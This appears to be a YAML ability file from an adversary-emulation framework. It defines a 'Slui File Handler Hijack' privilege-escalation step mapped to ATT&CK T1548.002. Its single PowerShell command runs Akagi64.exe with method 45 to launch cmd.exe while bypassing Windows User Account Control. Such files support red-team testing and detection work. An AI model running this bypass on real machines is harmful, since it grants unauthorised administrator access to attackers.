b7344901-0b02-4ead-baf6-e3f629ed545f.yml

- id: b7344901-0b02-4ead-baf6-e3f629ed545f
  description: executes the slui exe file handler hijack
  name: Slui File Handler Hijack
  platforms:
    windows:
      psh:
        command: |
          .\Akagi64.exe 45 C:\Windows\System32\cmd.exe
        payloads:
        - Akagi64.exe
  tactic: privilege-escalation
  technique:
    attack_id: T1548.002
    name: "Abuse Elevation Control Mechanism: Bypass User Access Control"